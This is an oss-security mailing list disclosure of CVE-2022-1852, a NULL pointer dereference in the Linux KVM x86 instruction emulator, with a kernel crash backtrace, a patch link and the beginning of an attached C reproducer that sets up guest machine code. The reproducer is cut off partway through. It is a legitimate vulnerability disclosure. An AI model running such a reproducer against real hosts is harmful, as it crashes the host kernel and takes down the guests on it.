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List: oss-security
Subject: [oss-security] CVE-2022-1852: Linux Kernel: x86/kvm: NULL pointer dereference in x86_emulate_insn
From: kangel <kangel () zju ! edu ! cn>
Date: 2022-05-31 16:03:25
Message-ID: 4bd95df2.42f12.1811adb8fd4.Coremail.kangel () zju ! edu ! cn
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------------[ Description ]------------ Whenever x86_decode_emulated_instruction() detects a \
breakpoint, it returns the value that kvm_vcpu_check_breakpoint() writes into its
pass-by-reference second argument. Unfortunately this is completely
bogus because the expected outcome of x86_decode_emulated_instruction
is an EMULATION_* value.
Then, if kvm_vcpu_check_breakpoint() does "*r = 0" (corresponding to
a KVM_EXIT_DEBUG userspace exit), it is misunderstood as EMULATION_OK
and x86_emulate_instruction() is called without having decoded the
instruction. This causes various havoc from running with a stale
emulation context. This bug was disclosed on May 24 and assigned CVE-2022-1852. \
------------[ Credits ]------------Yongkang Jia (Zhejiang University)Gaoning Pan (Zhejiang \
University)Qiuhao Li (Harbin Institute of Technology)------------[ Backtrace ]------------BUG: \
kernel NULL pointer dereference, address: 0000000000000000 #PF: supervisor instruction fetch in \
kernel mode #PF: error_code(0x0010) - not-present page
PGD 9112067 P4D 9112067 PUD 1f11067 PMD 0
Oops: 0010 [#1] PREEMPT SMP KASAN NOPTI
CPU: 0 PID: 490 Comm: syz-executor159 Not tainted 5.17.0-rc8 #21
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014RIP: \
0010:0x0
Code: Unable to access opcode bytes at RIP 0xffffffffffffffd6.
RSP: 0018:ffff88800a747810 EFLAGS: 00010246
RAX: 0000000000000000 RBX: 0003000008280000 RCX: ffffffff9032ac99
RDX: 1ffff1100189400d RSI: 0000000000000000 RDI: ffff88800c4a0000
RBP: ffff88800c4a0088 R08: 0000000000000000 R09: ffff88800a1c41a7
R10: ffffed1001438834 R11: 0000000000000001 R12: ffff88800c4a0072
R13: ffffffff932296a0 R14: ffff88800c4a0020 R15: ffff88800c4a0000
FS: 00007f95fcd82700(0000) GS:ffff88806ce00000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffffffffffffd6 CR3: 0000000007c1a003 CR4: 0000000000772ef0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
PKRU: 55555554
Call Trace:
<TASK>
x86_emulate_insn+0xe41/0x3480 arch/x86/kvm/emulate.c:5469
x86_emulate_instruction+0x972/0x1400 arch/x86/kvm/x86.c:8375
kvm_mmu_page_fault+0x48f/0x1b80 arch/x86/kvm/mmu/mmu.c:5359
handle_ept_violation+0x24e/0x660 arch/x86/kvm/vmx/vmx.c:5429
__vmx_handle_exit arch/x86/kvm/vmx/vmx.c:6171 [inline]
vmx_handle_exit+0x5e7/0x1ab0 arch/x86/kvm/vmx/vmx.c:6188
vcpu_enter_guest+0x1adb/0x3af0 arch/x86/kvm/x86.c:10178
vcpu_run arch/x86/kvm/x86.c:10261 [inline]
kvm_arch_vcpu_ioctl_run+0x41e/0x17c0 arch/x86/kvm/x86.c:10471
kvm_vcpu_ioctl+0x4d2/0xc60 arch/x86/kvm/../../../virt/kvm/kvm_main.c:3908
vfs_ioctl fs/ioctl.c:51 [inline]
__do_sys_ioctl fs/ioctl.c:874 [inline]
__se_sys_ioctl fs/ioctl.c:860 [inline]
__x64_sys_ioctl+0x16d/0x1d0 fs/ioctl.c:860
do_syscall_x64 arch/x86/entry/common.c:50 [inline]
do_syscall_64+0x38/0x90 arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x44/0xae------------[Patch ]------------The patch is public \
and it can be found here:https://git.kernel.org/pub/scm/virt/kvm/kvm.git/commit/?h=queue&id=7c718221fb3f1b362ac87b04dc8e143ba8ed09c1C \
repro is attached.Best regards. Yongkang Jia
[Attachment #5 (text/html)]
<pre style="font-size:14px;overflow-wrap:break-word;white-space:pre-wrap;"><span \
style="font-family:宋体, arial, Verdana, sans-serif;">------------[ Description</span><span \
style="font-family:宋体, arial, Verdana, sans-serif;"> ]------------</span></pre> <pre \
style="font-size:14px;overflow-wrap:break-word;white-space:pre-wrap;"> <span \
style="color:#333333;font-family:monospace;font-size:13.3333px;white-space:pre;background-color:#FFFFFF;">Whenever \
x86_decode_emulated_instruction() detects a breakpoint, it returns the value that \
kvm_vcpu_check_breakpoint() writes into its pass-by-reference second argument. Unfortunately \
this is completely bogus because the expected outcome of x86_decode_emulated_instruction
is an EMULATION_* value.
Then, if kvm_vcpu_check_breakpoint() does "*r = 0" (corresponding to
a KVM_EXIT_DEBUG userspace exit), it is misunderstood as EMULATION_OK
and x86_emulate_instruction() is called without having decoded the
instruction. This causes various havoc from running with a stale
emulation context.</span> </pre>
<pre style="font-size:14px;overflow-wrap:break-word;white-space:pre-wrap;"> This \
bug was disclosed on May 24 and assigned CVE-2022-1852<span style="font-family:宋体, arial, \
Verdana, sans-serif;">. </span></pre> <pre \
style="font-size:14px;overflow-wrap:break-word;white-space:pre-wrap;"> </pre> <pre \
style="font-size:14px;overflow-wrap:break-word;white-space:pre-wrap;"> <pre \
style="overflow-wrap:break-word;white-space:pre-wrap;"><span style="font-family:宋体, arial, \
Verdana, sans-serif;"> <pre \
style="overflow-wrap:break-word;white-space:pre-wrap;">------------[ Credits<span \
style="font-family:宋体, arial, Verdana, sans-serif;"> ]------------</span></pre> <pre \
style="overflow-wrap:break-word;white-space:pre-wrap;">Yongkang Jia (Zhejiang University)</pre> \
<pre style="overflow-wrap:break-word;white-space:pre-wrap;">Gaoning Pan (Zhejiang \
University)</pre> </span></pre>
<pre style="overflow-wrap:break-word;white-space:pre-wrap;">Qiuhao Li (Harbin Institute of \
Technology)</pre> <pre style="overflow-wrap:break-word;white-space:pre-wrap;">
<pre style="overflow-wrap:break-word;white-space:pre-wrap;">
<pre style="font-size:14px;overflow-wrap:break-word;white-space:pre-wrap;">
<pre style="overflow-wrap:break-word;white-space:pre-wrap;">------------[ Backtrace<span \
style="font-family:宋体, arial, Verdana, sans-serif;"> ]------------</span></pre> <pre \
style="overflow-wrap:break-word;white-space:pre-wrap;"><span style="font-family:宋体, arial, \
Verdana, sans-serif;"> <pre \
style="font-size:14px;overflow-wrap:break-word;white-space:pre-wrap;"> <pre \
style="overflow-wrap:break-word;white-space:pre-wrap;">BUG: kernel NULL pointer dereference, \
address: 0000000000000000 #PF: supervisor instruction fetch in kernel mode
#PF: error_code(0x0010) - not-present page
PGD 9112067 P4D 9112067 PUD 1f11067 PMD 0
Oops: 0010 [#1] PREEMPT SMP KASAN NOPTI
CPU: 0 PID: 490 Comm: syz-executor159 Not tainted 5.17.0-rc8 #21
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014</pre>
<pre style="overflow-wrap:break-word;white-space:pre-wrap;">RIP: 0010:0x0
Code: Unable to access opcode bytes at RIP 0xffffffffffffffd6.
RSP: 0018:ffff88800a747810 EFLAGS: 00010246
RAX: 0000000000000000 RBX: 0003000008280000 RCX: ffffffff9032ac99
RDX: 1ffff1100189400d RSI: 0000000000000000 RDI: ffff88800c4a0000
RBP: ffff88800c4a0088 R08: 0000000000000000 R09: ffff88800a1c41a7
R10: ffffed1001438834 R11: 0000000000000001 R12: ffff88800c4a0072
R13: ffffffff932296a0 R14: ffff88800c4a0020 R15: ffff88800c4a0000
FS: 00007f95fcd82700(0000) GS:ffff88806ce00000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffffffffffffd6 CR3: 0000000007c1a003 CR4: 0000000000772ef0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
PKRU: 55555554
Call Trace:
<TASK>
x86_emulate_insn+0xe41/0x3480 arch/x86/kvm/emulate.c:5469
x86_emulate_instruction+0x972/0x1400 arch/x86/kvm/x86.c:8375
kvm_mmu_page_fault+0x48f/0x1b80 arch/x86/kvm/mmu/mmu.c:5359
handle_ept_violation+0x24e/0x660 arch/x86/kvm/vmx/vmx.c:5429
__vmx_handle_exit arch/x86/kvm/vmx/vmx.c:6171 [inline]
vmx_handle_exit+0x5e7/0x1ab0 arch/x86/kvm/vmx/vmx.c:6188
vcpu_enter_guest+0x1adb/0x3af0 arch/x86/kvm/x86.c:10178
vcpu_run arch/x86/kvm/x86.c:10261 [inline]
kvm_arch_vcpu_ioctl_run+0x41e/0x17c0 arch/x86/kvm/x86.c:10471
kvm_vcpu_ioctl+0x4d2/0xc60 arch/x86/kvm/../../../virt/kvm/kvm_main.c:3908
vfs_ioctl fs/ioctl.c:51 [inline]
__do_sys_ioctl fs/ioctl.c:874 [inline]
__se_sys_ioctl fs/ioctl.c:860 [inline]
__x64_sys_ioctl+0x16d/0x1d0 fs/ioctl.c:860
do_syscall_x64 arch/x86/entry/common.c:50 [inline]
do_syscall_64+0x38/0x90 arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x44/0xae</pre>
</pre>
</span></pre>
</pre>
<pre style="overflow-wrap:break-word;white-space:pre-wrap;">------------[Patch<span \
style="font-family:宋体, arial, Verdana, sans-serif;"> ]------------</span></pre> <pre \
style="overflow-wrap:break-word;white-space:pre-wrap;"><span style="font-family:宋体, arial, \
Verdana, sans-serif;"> <pre style="white-space:pre-wrap;">The patch is public and it can be \
found here:</pre> <pre \
style="white-space:pre-wrap;">https://git.kernel.org/pub/scm/virt/kvm/kvm.git/commit/?h=queue&id=7c718221fb3f1b362ac87b04dc8e143ba8ed09c1</pre>
</span></pre>
<pre wrap="soft" style="font-size:14px;overflow-wrap:break-word;"></pre>
</pre>
<pre style="overflow-wrap:break-word;white-space:pre-wrap;">
<pre style="font-size:14px;overflow-wrap:break-word;white-space:pre-wrap;"><span \
style="white-space:normal;">C repro is attached.</span></pre> </pre>
</pre>
</pre>
<pre style="font-size:14px;overflow-wrap:break-word;white-space:pre-wrap;"><span \
style="white-space:normal;">Best regards.</span> <span \
style="white-space:normal;"> </span></pre> <pre \
style="font-size:14px;overflow-wrap:break-word;white-space:pre-wrap;"><span \
style="white-space:normal;">Yongkang Jia</span></pre> <div>
<span style="white-space:normal;"><br>
</span>
</div>
["poc.c" (text/plain)]
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/kvm.h>
#define ADDR_TEXT 0x0000
#define ADDR_GDT 0x1000
#define ADDR_LDT 0x1800
#define ADDR_PML4 0x2000
#define ADDR_PDP 0x3000
#define ADDR_PD 0x4000
#define ADDR_STACK0 0x0f80
#define ADDR_VAR_HLT 0x2800
#define ADDR_VAR_SYSRET 0x2808
#define ADDR_VAR_SYSEXIT 0x2810
#define ADDR_VAR_IDT 0x3800
#define ADDR_VAR_TSS64 0x3a00
#define ADDR_VAR_TSS64_CPL3 0x3c00
#define ADDR_VAR_TSS16 0x3d00
#define ADDR_VAR_TSS16_2 0x3e00
#define ADDR_VAR_TSS16_CPL3 0x3f00
#define ADDR_VAR_TSS32 0x4800
#define ADDR_VAR_TSS32_2 0x4a00
#define ADDR_VAR_TSS32_CPL3 0x4c00
#define ADDR_VAR_TSS32_VM86 0x4e00
#define ADDR_VAR_VMXON_PTR 0x5f00
#define ADDR_VAR_VMCS_PTR 0x5f08
#define ADDR_VAR_VMEXIT_PTR 0x5f10
#define ADDR_VAR_VMWRITE_FLD 0x5f18
#define ADDR_VAR_VMWRITE_VAL 0x5f20
#define ADDR_VAR_VMXON 0x6000
#define ADDR_VAR_VMCS 0x7000
#define ADDR_VAR_VMEXIT_CODE 0x9000
#define ADDR_VAR_USER_CODE 0x9100
#define ADDR_VAR_USER_CODE2 0x9120
#define SEL_LDT (1 << 3)
#define SEL_CS16 (2 << 3)
#define SEL_DS16 (3 << 3)
#define SEL_CS16_CPL3 ((4 << 3) + 3)
#define SEL_DS16_CPL3 ((5 << 3) + 3)
#define SEL_CS32 (6 << 3)
#define SEL_DS32 (7 << 3)
#define SEL_CS32_CPL3 ((8 << 3) + 3)
#define SEL_DS32_CPL3 ((9 << 3) + 3)
#define SEL_CS64 (10 << 3)
#define SEL_DS64 (11 << 3)
#define SEL_CS64_CPL3 ((12 << 3) + 3)
#define SEL_DS64_CPL3 ((13 << 3) + 3)
#define SEL_CGATE16 (14 << 3)
#define SEL_TGATE16 (15 << 3)
#define SEL_CGATE32 (16 << 3)
#define SEL_TGATE32 (17 << 3)
#define SEL_CGATE64 (18 << 3)
#define SEL_CGATE64_HI (19 << 3)
#define SEL_TSS16 (20 << 3)
#define SEL_TSS16_2 (21 << 3)
#define SEL_TSS16_CPL3 ((22 << 3) + 3)
#define SEL_TSS32 (23 << 3)
#define SEL_TSS32_2 (24 << 3)
#define SEL_TSS32_CPL3 ((25 << 3) + 3)
#define SEL_TSS32_VM86 (26 << 3)
#define SEL_TSS64 (27 << 3)
#define SEL_TSS64_HI (28 << 3)
#define SEL_TSS64_CPL3 ((29 << 3) + 3)
#define SEL_TSS64_CPL3_HI (30 << 3)
#define MSR_IA32_FEATURE_CONTROL 0x3a
#define MSR_IA32_VMX_BASIC 0x480
#define MSR_IA32_SMBASE 0x9e
#define MSR_IA32_SYSENTER_CS 0x174
#define MSR_IA32_SYSENTER_ESP 0x175
#define MSR_IA32_SYSENTER_EIP 0x176
#define MSR_IA32_STAR 0xC0000081
#define MSR_IA32_LSTAR 0xC0000082
#define MSR_IA32_VMX_PROCBASED_CTLS2 0x48B
#define NEXT_INSN $0xbadc0de
#define PREFIX_SIZE 0xba1d
const char kvm_asm16_cpl3[] = \
"\x0f\x20\xc0\x66\x83\xc8\x01\x0f\x22\xc0\xb8\xa0\x00\x0f\x00\xd8\xb8\x2b\x00\x8e\xd8\x8e\xc0\x8 \
e\xe0\x8e\xe8\xbc\x00\x01\xc7\x06\x00\x01\x1d\xba\xc7\x06\x02\x01\x23\x00\xc7\x06\x04\x01\x00\x01\xc7\x06\x06\x01\x2b\x00\xcb";
const char kvm_asm32_paged[] = "\x0f\x20\xc0\x0d\x00\x00\x00\x80\x0f\x22\xc0";
const char kvm_asm32_vm86[] = "\x66\xb8\xb8\x00\x0f\x00\xd8\xea\x00\x00\x00\x00\xd0\x00";
const char kvm_asm32_paged_vm86[] = \
"\x0f\x20\xc0\x0d\x00\x00\x00\x80\x0f\x22\xc0\x66\xb8\xb8\x00\x0f\x00\xd8\xea\x00\x00\x00\x00\xd0\x00";
const char kvm_asm64_enable_long[] = \
"\x0f\x20\xc0\x0d\x00\x00\x00\x80\x0f\x22\xc0\xea\xde\xc0\xad\x0b\x50\x00\x48\xc7\xc0\xd8\x00\x00\x00\x0f\x00\xd8";
const char kvm_asm64_init_vm[] = \
"\x0f\x20\xc0\x0d\x00\x00\x00\x80\x0f\x22\xc0\xea\xde\xc0\xad\x0b\x50\x00\x48\xc7\xc0\xd8\x00\x0 \
0\x00\x0f\x00\xd8\x48\xc7\xc1\x3a\x00\x00\x00\x0f\x32\x48\x83\xc8\x05\x0f\x30\x0f\x20\xe0\x48\x0 \
d\x00\x20\x00\x00\x0f\x22\xe0\x48\xc7\xc1\x80\x04\x00\x00\x0f\x32\x48\xc7\xc2\x00\x60\x00\x00\x8 \
9\x02\x48\xc7\xc2\x00\x70\x00\x00\x89\x02\x48\xc7\xc0\x00\x5f\x00\x00\xf3\x0f\xc7\x30\x48\xc7\xc \
0\x08\x5f\x00\x00\x66\x0f\xc7\x30\x0f\xc7\x30\x48\xc7\xc1\x81\x04\x00\x00\x0f\x32\x48\x83\xc8\x0 \
0\x48\x21\xd0\x48\xc7\xc2\x00\x40\x00\x00\x0f\x79\xd0\x48\xc7\xc1\x82\x04\x00\x00\x0f\x32\x48\x8 \
3\xc8\x00\x48\x21\xd0\x48\xc7\xc2\x02\x40\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x1e\x40\x00\x00\x48\xc \
7\xc0\x81\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc1\x83\x04\x00\x00\x0f\x32\x48\x0d\xff\x6f\x03\x00\x4 \
8\x21\xd0\x48\xc7\xc2\x0c\x40\x00\x00\x0f\x79\xd0\x48\xc7\xc1\x84\x04\x00\x00\x0f\x32\x48\x0d\xf \
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f\x79\xd0\x48\xc7\xc2\x02\x0c\x00\x00\x48\xc7\xc0\x50\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc0\x58\x0 \
0\x00\x00\x48\xc7\xc2\x00\x0c\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x04\x0c\x00\x00\x0f\x79\xd0\x48\xc \
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0\x00\x0f\x79\xd0\x48\xc7\xc0\xd8\x00\x00\x00\x48\xc7\xc2\x0c\x0c\x00\x00\x0f\x79\xd0\x48\xc7\xc \
2\x02\x2c\x00\x00\x48\xc7\xc0\x00\x05\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x00\x4c\x00\x00\x48\xc7\xc \
0\x50\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x10\x6c\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd \
0\x48\xc7\xc2\x12\x6c\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x0f\x20\xc0\x48\xc7\xc2\x0 \
0\x6c\x00\x00\x48\x89\xc0\x0f\x79\xd0\x0f\x20\xd8\x48\xc7\xc2\x02\x6c\x00\x00\x48\x89\xc0\x0f\x7 \
9\xd0\x0f\x20\xe0\x48\xc7\xc2\x04\x6c\x00\x00\x48\x89\xc0\x0f\x79\xd0\x48\xc7\xc2\x06\x6c\x00\x0 \
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c\x6c\x00\x00\x48\xc7\xc0\x00\x10\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x0e\x6c\x00\x00\x48\xc7\xc0\x0 \
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8\xc7\xc2\x16\x6c\x00\x00\x48\x8b\x04\x25\x10\x5f\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x00\x00\x00\x0 \
0\x48\xc7\xc0\x01\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x02\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x0 \
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2\x20\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x04\x20\x00\x00\x48\xc7\xc0\x0 \
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8\xc7\xc1\x77\x02\x00\x00\x0f\x32\x48\xc1\xe2\x20\x48\x09\xd0\x48\xc7\xc2\x00\x2c\x00\x00\x48\x8 \
9\xc0\x0f\x79\xd0\x48\xc7\xc2\x04\x40\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc \
2\x0a\x40\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x0e\x40\x00\x00\x48\xc7\xc \
0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x10\x40\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd \
0\x48\xc7\xc2\x16\x40\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x14\x40\x00\x0 \
0\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x00\x60\x00\x00\x48\xc7\xc0\xff\xff\xff\xf \
f\x0f\x79\xd0\x48\xc7\xc2\x02\x60\x00\x00\x48\xc7\xc0\xff\xff\xff\xff\x0f\x79\xd0\x48\xc7\xc2\x1 \
c\x20\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x1e\x20\x00\x00\x48\xc7\xc0\x0 \
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8\xc7\xc2\x22\x20\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x00\x08\x00\x00\x4 \
8\xc7\xc0\x58\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x02\x08\x00\x00\x48\xc7\xc0\x50\x00\x00\x00\x0 \
f\x79\xd0\x48\xc7\xc2\x04\x08\x00\x00\x48\xc7\xc0\x58\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x06\x0 \
8\x00\x00\x48\xc7\xc0\x58\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x08\x08\x00\x00\x48\xc7\xc0\x58\x0 \
0\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x0a\x08\x00\x00\x48\xc7\xc0\x58\x00\x00\x00\x0f\x79\xd0\x48\xc \
7\xc2\x0c\x08\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x0e\x08\x00\x00\x48\xc \
7\xc0\xd8\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x12\x68\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x7 \
9\xd0\x48\xc7\xc2\x14\x68\x00\x00\x48\xc7\xc0\x00\x3a\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x16\x68\x0 \
0\x00\x48\xc7\xc0\x00\x10\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x18\x68\x00\x00\x48\xc7\xc0\x00\x38\x0 \
0\x00\x0f\x79\xd0\x48\xc7\xc2\x00\x48\x00\x00\x48\xc7\xc0\xff\xff\x0f\x00\x0f\x79\xd0\x48\xc7\xc \
2\x02\x48\x00\x00\x48\xc7\xc0\xff\xff\x0f\x00\x0f\x79\xd0\x48\xc7\xc2\x04\x48\x00\x00\x48\xc7\xc \
0\xff\xff\x0f\x00\x0f\x79\xd0\x48\xc7\xc2\x06\x48\x00\x00\x48\xc7\xc0\xff\xff\x0f\x00\x0f\x79\xd \
0\x48\xc7\xc2\x08\x48\x00\x00\x48\xc7\xc0\xff\xff\x0f\x00\x0f\x79\xd0\x48\xc7\xc2\x0a\x48\x00\x0 \
0\x48\xc7\xc0\xff\xff\x0f\x00\x0f\x79\xd0\x48\xc7\xc2\x0c\x48\x00\x00\x48\xc7\xc0\x00\x00\x00\x0 \
0\x0f\x79\xd0\x48\xc7\xc2\x0e\x48\x00\x00\x48\xc7\xc0\xff\x1f\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x1 \
0\x48\x00\x00\x48\xc7\xc0\xff\x1f\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x12\x48\x00\x00\x48\xc7\xc0\xf \
f\x1f\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x14\x48\x00\x00\x48\xc7\xc0\x93\x40\x00\x00\x0f\x79\xd0\x4 \
8\xc7\xc2\x16\x48\x00\x00\x48\xc7\xc0\x9b\x20\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x18\x48\x00\x00\x4 \
8\xc7\xc0\x93\x40\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x1a\x48\x00\x00\x48\xc7\xc0\x93\x40\x00\x00\x0 \
f\x79\xd0\x48\xc7\xc2\x1c\x48\x00\x00\x48\xc7\xc0\x93\x40\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x1e\x4 \
8\x00\x00\x48\xc7\xc0\x93\x40\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x20\x48\x00\x00\x48\xc7\xc0\x82\x0 \
0\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x22\x48\x00\x00\x48\xc7\xc0\x8b\x00\x00\x00\x0f\x79\xd0\x48\xc \
7\xc2\x1c\x68\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x1e\x68\x00\x00\x48\xc \
7\xc0\x00\x91\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x20\x68\x00\x00\x48\xc7\xc0\x02\x00\x00\x00\x0f\x7 \
9\xd0\x48\xc7\xc2\x06\x28\x00\x00\x48\xc7\xc0\x00\x05\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x0a\x28\x0 \
0\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x0c\x28\x00\x00\x48\xc7\xc0\x00\x00\x0 \
0\x00\x0f\x79\xd0\x48\xc7\xc2\x0e\x28\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc \
2\x10\x28\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x0f\x20\xc0\x48\xc7\xc2\x00\x68\x00\x0 \
0\x48\x89\xc0\x0f\x79\xd0\x0f\x20\xd8\x48\xc7\xc2\x02\x68\x00\x00\x48\x89\xc0\x0f\x79\xd0\x0f\x2 \
0\xe0\x48\xc7\xc2\x04\x68\x00\x00\x48\x89\xc0\x0f\x79\xd0\x48\xc7\xc0\x18\x5f\x00\x00\x48\x8b\x1 \
0\x48\xc7\xc0\x20\x5f\x00\x00\x48\x8b\x08\x48\x31\xc0\x0f\x78\xd0\x48\x31\xc8\x0f\x79\xd0\x0f\x01\xc2\x48\xc7\xc2\x00\x44\x00\x00\x0f\x78\xd0\xf4";
const char kvm_asm64_vm_exit[] = \
"\x48\xc7\xc3\x00\x44\x00\x00\x0f\x78\xda\x48\xc7\xc3\x02\x44\x00\x00\x0f\x78\xd9\x48\xc7\xc0\x00\x64\x00\x00\x0f\x78\xc0\x48\xc7\xc3\x1e\x68\x00\x00\x0f\x78\xdb\xf4";
const char kvm_asm64_cpl3[] = \
"\x0f\x20\xc0\x0d\x00\x00\x00\x80\x0f\x22\xc0\xea\xde\xc0\xad\x0b\x50\x00\x48\xc7\xc0\xd8\x00\x0 \
0\x00\x0f\x00\xd8\x48\xc7\xc0\x6b\x00\x00\x00\x8e\xd8\x8e\xc0\x8e\xe0\x8e\xe8\x48\xc7\xc4\x80\x0 \
f\x00\x00\x48\xc7\x04\x24\x1d\xba\x00\x00\x48\xc7\x44\x24\x04\x63\x00\x00\x00\x48\xc7\x44\x24\x08\x80\x0f\x00\x00\x48\xc7\x44\x24\x0c\x6b\x00\x00\x00\xcb";
#define KVM_SMI _IO(KVMIO, 0xb7)
#define CR0_PE 1
#define CR0_MP (1 << 1)
#define CR0_EM (1 << 2)
#define CR0_TS (1 << 3)
#define CR0_ET (1 << 4)
#define CR0_NE (1 << 5)
#define CR0_WP (1 << 16)
#define CR0_AM (1 << 18)
#define CR0_NW (1 << 29)
#define CR0_CD (1 << 30)
#define CR0_PG (1 << 31)
#define CR4_VME 1
#define CR4_PVI (1 << 1)
#define CR4_TSD (1 << 2)
#define CR4_DE (1 << 3)
#define CR4_PSE (1 << 4)
#define CR4_PAE (1 << 5)
#define CR4_MCE (1 << 6)
#define CR4_PGE (1 << 7)
#define CR4_PCE (1 << 8)
#define CR4_OSFXSR (1 << 8)
#define CR4_OSXMMEXCPT (1 << 10)
#define CR4_UMIP (1 << 11)
#define CR4_VMXE (1 << 13)
#define CR4_SMXE (1 << 14)
#define CR4_FSGSBASE (1 << 16)
#define CR4_PCIDE (1 << 17)
#define CR4_OSXSAVE (1 << 18)
#define CR4_SMEP (1 << 20)
#define CR4_SMAP (1 << 21)
#define CR4_PKE (1 << 22)
#define EFER_SCE 1
#define EFER_LME (1 << 8)
#define EFER_LMA (1 << 10)
#define EFER_NXE (1 << 11)
#define EFER_SVME (1 << 12)
#define EFER_LMSLE (1 << 13)
#define EFER_FFXSR (1 << 14)
#define EFER_TCE (1 << 15)
#define PDE32_PRESENT 1
#define PDE32_RW (1 << 1)
#define PDE32_USER (1 << 2)
#define PDE32_PS (1 << 7)
#define PDE64_PRESENT 1
#define PDE64_RW (1 << 1)
#define PDE64_USER (1 << 2)
#define PDE64_ACCESSED (1 << 5)
#define PDE64_DIRTY (1 << 6)
#define PDE64_PS (1 << 7)
#define PDE64_G (1 << 8)
struct tss16 {
uint16_t prev;
uint16_t sp0;
uint16_t ss0;
uint16_t sp1;
uint16_t ss1;
uint16_t sp2;
uint16_t ss2;
uint16_t ip;
uint16_t flags;
uint16_t ax;
uint16_t cx;
uint16_t dx;
uint16_t bx;
uint16_t sp;
uint16_t bp;
uint16_t si;
uint16_t di;
uint16_t es;
uint16_t cs;
uint16_t ss;
uint16_t ds;
uint16_t ldt;
} __attribute__((packed));
struct tss32 {
uint16_t prev, prevh;
uint32_t sp0;
uint16_t ss0, ss0h;
uint32_t sp1;
uint16_t ss1, ss1h;
uint32_t sp2;
uint16_t ss2, ss2h;
uint32_t cr3;
uint32_t ip;
uint32_t flags;
uint32_t ax;
uint32_t cx;
uint32_t dx;
uint32_t bx;
uint32_t sp;
uint32_t bp;
uint32_t si;
uint32_t di;
uint16_t es, esh;
uint16_t cs, csh;
uint16_t ss, ssh;
uint16_t ds, dsh;
uint16_t fs, fsh;
uint16_t gs, gsh;
uint16_t ldt, ldth;
uint16_t trace;
uint16_t io_bitmap;
} __attribute__((packed));
struct tss64 {
uint32_t reserved0;
uint64_t rsp[3];
uint64_t reserved1;
uint64_t ist[7];
uint64_t reserved2;
uint32_t reserved3;
uint32_t io_bitmap;
} __attribute__((packed));
static void fill_segment_descriptor(uint64_t* dt, uint64_t* lt, struct kvm_segment* seg)
{
uint16_t index = seg->selector >> 3;
uint64_t limit = seg->g ? seg->limit >> 12 : seg->limit;
uint64_t sd = (limit & 0xffff) | (seg->base & 0xffffff) << 16 | (uint64_t)seg->type << 40 | \
(uint64_t)seg->s << 44 | (uint64_t)seg->dpl << 45 | (uint64_t)seg->present << 47 | (limit & \
